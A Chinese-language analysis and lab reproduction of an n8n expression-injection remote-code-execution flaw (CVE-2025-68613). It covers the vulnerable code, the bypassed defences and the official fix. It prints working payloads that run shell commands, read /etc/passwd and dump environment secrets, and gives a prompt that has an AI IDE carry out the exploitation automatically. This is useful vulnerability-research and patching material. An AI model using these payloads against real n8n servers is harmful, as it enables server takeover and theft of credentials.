CVE-2025-68613: n8n 表达式注入导致远程代码执行漏洞分析与复现
📋 概述
n8n 是一款流行的开源工作流自动化平台,类似于 Zapier 的可自部署替代方案。2025年1月,该项目披露了多个高危安全漏洞,其中 CVE-2025-68613 最为严重,允许拥有工作流编辑权限的攻击者通过表达式注入执行任意系统命令。
漏洞信息
| 项目 | 详情 |
|---|---|
| CVE编号 | CVE-2025-68613 |
| CVSS评分 | 9.9-10.0(严重) |
| 影响版本 | n8n < 1.120.4, < 1.121.1, < 1.122.0 |
| 漏洞类型 | 表达式注入 → 远程代码执行 (RCE) |
| 前置条件 | 需要工作流编辑权限 |
| 修复版本 | n8n >= 1.120.4, >= 1.121.1, >= 1.122.0 |
项目地址: https://github.com/n8n-io/n8n
漏洞分析
源码获取
首先克隆 n8n 漏洞版本:
# 克隆仓库git clone https://github.com/n8n-io/n8n.gitcd n8n
# 切换到易受攻击版本git checkout tags/n8n@1.120.0核心漏洞代码
packages/workflow/src/expression.ts
该方法负责解析和执行 n8n 工作流中的表达式(以 {{ }} 包裹的代码)。
resolveSimpleParameterValue( parameterValue: NodeParameterValue, siblingParameters: INodeParameters, runExecutionData: IRunExecutionData | null, runIndex: number, itemIndex: number, activeNodeName: string, connectionInputData: INodeExecutionData[], mode: WorkflowExecuteMode, additionalKeys: IWorkflowDataProxyAdditionalKeys, executeData?: IExecuteData, returnObjectAsString = false, selfData = {}, contextNodeName?: string,): NodeParameterValue | INodeParameters | NodeParameterValue[] | INodeParameters[] { // 检查是否为表达式 if (!isExpression(parameterValue)) { return parameterValue; }
// 移除 = 符号 parameterValue = parameterValue.substr(1);
// 创建数据代理 - 构建表达式执行上下文 const dataProxy = new WorkflowDataProxy( this.workflow, runExecutionData, runIndex, itemIndex, activeNodeName, connectionInputData, siblingParameters, mode, additionalKeys, executeData, -1, selfData, contextNodeName, ); const data = dataProxy.getDataProxy();
// 漏洞点:不安全地暴露 process 对象 // Support only a subset of process properties data.process = typeof process !== 'undefined' ? { arch: process.arch, env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE === 'true' ? {} : process.env, platform: process.platform, pid: process.pid, ppid: process.ppid, release: process.release, version: process.pid, versions: process.versions, } : {};
Expression.initializeGlobalContext(data);
// 添加表达式扩展 data.extend = extend; data.extendOptional = extendOptional; data[sanitizerName] = sanitizer; Object.assign(data, extendedFunctions);
// 构造函数检测(可被绕过) const constructorValidation = new RegExp(/\.\s*constructor/gm); if (parameterValue.match(constructorValidation)) { throw new ExpressionError('Expression contains invalid constructor function call', { causeDetailed: 'Constructor override attempt is not allowed due to security concerns', runIndex, itemIndex, }); }
// 执行表达式 const extendedExpression = extendSyntax(parameterValue); const returnValue = this.renderExpression(extendedExpression, data);
if (typeof returnValue === 'function') { if (returnValue.name === 'DateTime') throw new ApplicationError('this is a DateTime, please access its methods'); throw new ApplicationError('this is a function, please add ()'); } else if (typeof returnValue === 'string') { return returnValue; } else if (returnValue !== null && typeof returnValue === 'object') { if (returnObjectAsString) { return this.convertObjectValueToString(returnValue); } }
return returnValue;}漏洞根因
漏洞的核心问题在于 第 68-81 行的 process 对象暴露:
// CVE-2025-68613 核心漏洞代码data.process = typeof process !== 'undefined' ? { arch: process.arch, env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE === 'true' ? {} : process.env, platform: process.platform, pid: process.pid, ppid: process.ppid, release: process.release, version: process.pid, versions: process.versions, } : {};问题汇总:
-
浅拷贝问题: 代码创建了一个新对象包含
process的部分属性,但该对象仍然保留了对原始process对象的原型链引用 -
原型链泄露: 虽然只暴露了部分属性,但攻击者可以通过原型链访问完整的
process对象:data.process → Object.prototype → process.mainModule → require() -
缺少原型隔离: 没有使用
Object.create(null)创建无原型对象,导致原型链污染攻击成为可能 -
this上下文泄露: 在表达式中使用this可以访问到整个数据上下文对象,包括process
现有防护机制分析
n8n 在 Expression.ts 中实现了多层防护,但均可被绕过:
防护1: 全局对象名单
// Prevent Remote Code Executiondata.eval = {};data.uneval = {};data.setTimeout = {};data.setInterval = {};data.Function = {};
// Prevent requestsdata.fetch = {};data.XMLHttpRequest = {};
// Prevent control abstractiondata.Promise = {};data.Generator = {};data.AsyncFunction = {};
// Prevent Reflectiondata.Reflect = {};data.Proxy = {};通过 this.process.mainModule.require() 原型链访问,不触发黑名单检测
防护2: 构造函数检测 (93-100行)
const constructorValidation = new RegExp(/\.\s*constructor/gm);if (parameterValue.match(constructorValidation)) { throw new ExpressionError('Expression contains invalid constructor function call', { causeDetailed: 'Constructor override attempt is not allowed due to security concerns', });}主要目的是阻止使用 .constructor 关键字进行原型链污染,使用 this.process.mainModule.require 不包含 “constructor” 字符串,可以绕过正则检测
防护3: 环境变量访问控制(默认未启用)
env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE === 'true' ? {} : process.env防护总结
| 防护机制 | 可绕过 | 绕过方法 |
|---|---|---|
| 全局对象黑名单 | keyi | 通过原型链间接访问 |
| 构造函数检测 | keyi | 使用不含 “constructor” 的路径 |
| 环境变量控制 | keyi | 仍可访问 mainModule.require() |
攻击 Payload 构造
基础 Payload
{{ (function(){ return this.process.mainModule.require('child_process').execSync('cat /etc/passwd').toString()})() }}其他 Payload 示例
1. 执行 whoami 命令
{{ (function(){ return this.process.mainModule.require('child_process').execSync('whoami').toString()})() }}2. 列出目录内容
{{ (function(){ return this.process.mainModule.require('child_process').execSync('ls -la /').toString()})() }}3. 读取环境变量(获取敏感配置)
{{ (function(){ return JSON.stringify(this.process.env, null, 2)})() }}4. 读取文件系统(Windows)
{{ (function(){ const fs = this.process.mainModule.require('fs'); return fs.readFileSync('C:\\Windows\\System32\\drivers\\etc\\hosts', 'utf8');})() }}漏洞复现
环境搭建
方法1: Docker run
# 拉取易受攻击的版本docker pull n8nio/n8n:1.120.0
# 启动容器docker run -d \ --name n8n-vulnerable \ -p 5678:5678 \ -e N8N_BASIC_AUTH_ACTIVE=true \ -e N8N_BASIC_AUTH_USER=admin \ -e N8N_BASIC_AUTH_PASSWORD=admin123 \ n8nio/n8n:1.120.0
# 查看日志docker logs n8n-vulnerable -f方法2: Docker Compose
创建 docker-compose.yml:
version: '3.8'
services: n8n-vulnerable: image: n8nio/n8n:1.120.0 # 易受攻击版本 container_name: cve-2025-68613-n8n ports: - "5678:5678" environment: # 基本认证 - N8N_BASIC_AUTH_ACTIVE=true - N8N_BASIC_AUTH_USER=admin - N8N_BASIC_AUTH_PASSWORD=admin123
# 服务器配置 - N8N_HOST=localhost - N8N_PORT=5678 - N8N_PROTOCOL=http
# 执行模式 - EXECUTIONS_MODE=main volumes: - n8n_data:/home/node/.n8n restart: unless-stopped
volumes: n8n_data:启动服务:
# 启动docker-compose up -d
# 查看日志docker-compose logs -f
# 停止docker-compose down
# 完全清理(删除数据)docker-compose down -v访问地址: http://localhost:5678
利用步骤
Step 1: 登录 n8n
使用我们注册的凭据登录:
- 用户名:
admin@admin.com - 密码:
admin123

Step 2: 创建工作流
点击 “Add workflow” 或主页的 “Create workflow” 按钮创建新工作流

Step 3: 添加节点
工作流需要两个节点:
-
Manual Trigger - 手动触发节点
-
Edit Fields (Set) - 设置字段节点(用于注入 payload)

Step 4: 注入 RCE Payload
在 Edit Fields (Set) 节点中配置:
- 字段名称 (
Name): 输入result - 字段值 (
Value): 点击右侧的 fx 按钮切换到表达式模式,输入以下 Payload:
{{ (function(){ return this.process.mainModule.require('child_process').execSync('cat /etc/passwd').toString()})() }}
Step 5: 执行工作流
点击右上角的 “Test workflow” 或 “Execute Workflow” 按钮
Step 6: 验证结果
执行成功后,可以在输出面板中看到 /etc/passwd 文件的完整内容:
🔍root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash

✅ 漏洞复现成功! 成功在 n8n 容器内执行了系统命令并读取了敏感文件。
使用 Antigravity AI 自动化复现
Google 新推出的 Antigravity AI IDE 具有强大的浏览器自动化能力,可以通过自然语言指令自动完成漏洞复现的全过程。
自动化复现步骤
使用以下 Antigravity 提示词:(这个是我们强制要求的)
借助搜索能力其实anti-gravity可以自动收集漏洞信息进行漏洞尝试
帮我复现 n8n CVE-2025-68613 漏洞,详细步骤如下:
1. 在浏览器中打开 http://localhost:56782. 使用 admin/admin123 登录3. 创建新工作流4. 添加 Manual Trigger 节点5. 添加 Edit Fields (Set) 节点并连接6. 在 Edit Fields 节点中: - 字段名: result - 切换到表达式模式 - 注入 Payload7. 执行工作流8. 验证输出结果并截图9. 生成完整的复现视频Antigravity 会自动完成整个流程
演示视频
完整的自动化复现过程已录制成视频:
B站视频链接: n8n CVE-2025-68613 自动化漏洞复现演示
修复分析和建议
官方修复方案(v1.122.0)
官方通过 AST 静态分析 修复漏洞,核心是禁止访问危险的原型链属性。
核心修复代码
1. 危险属性黑名单 (packages/workflow/src/utils.ts)
const unsafeObjectProperties = new Set([ '__proto__', 'prototype', 'constructor', 'getPrototypeOf']);
export function isSafeObjectProperty(property: string) { return !unsafeObjectProperties.has(property);}2. AST 原型链检测器 (packages/workflow/src/expression-sandboxing.ts)
export const PrototypeSanitizer: ASTAfterHook = (ast, dataNode) => { astVisit(ast, { visitMemberExpression(path) { const node = path.node;
// 检查静态属性: obj.property if (!node.computed) { if (!isSafeObjectProperty(node.property.name)) { throw new ExpressionError( `Cannot access "${node.property.name}" due to security concerns` ); } } // 检查字符串字面量: obj['property'] else if (node.property.type === 'StringLiteral') { if (!isSafeObjectProperty(node.property.value)) { throw new ExpressionError( `Cannot access "${node.property.value}" due to security concerns` ); } } // 动态属性包装为运行时检查: obj[expr] → obj[sanitizer(expr)] else { path.replace( b.memberExpression(node.object, b.callExpression(sanitizerIdentifier, [node.property]), true ) ); } }, });};3. Tournament 沙箱引擎 (packages/workflow/src/expression-evaluator-proxy.ts)
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, { before: [FunctionThisSanitizer], // 清理 this 绑定(严格模式) after: [PrototypeSanitizer, DollarSignValidator] // 检查危险属性});修复机制
-
FunctionThisSanitizer: 在 IIFE 中插入
'use strict',使this为undefined -
PrototypeSanitizer: 在执行前遍历 AST,阻止访问原型链属性
-
运行时检查: 动态属性访问包装为
sanitizer()调用
原始 Payload this.process.mainModule 被阻止的原因:
- 严格模式下
this为undefined - 即使绕过,
prototype/constructor等访问会被 AST 检测阻止
升级建议
npm update n8n -g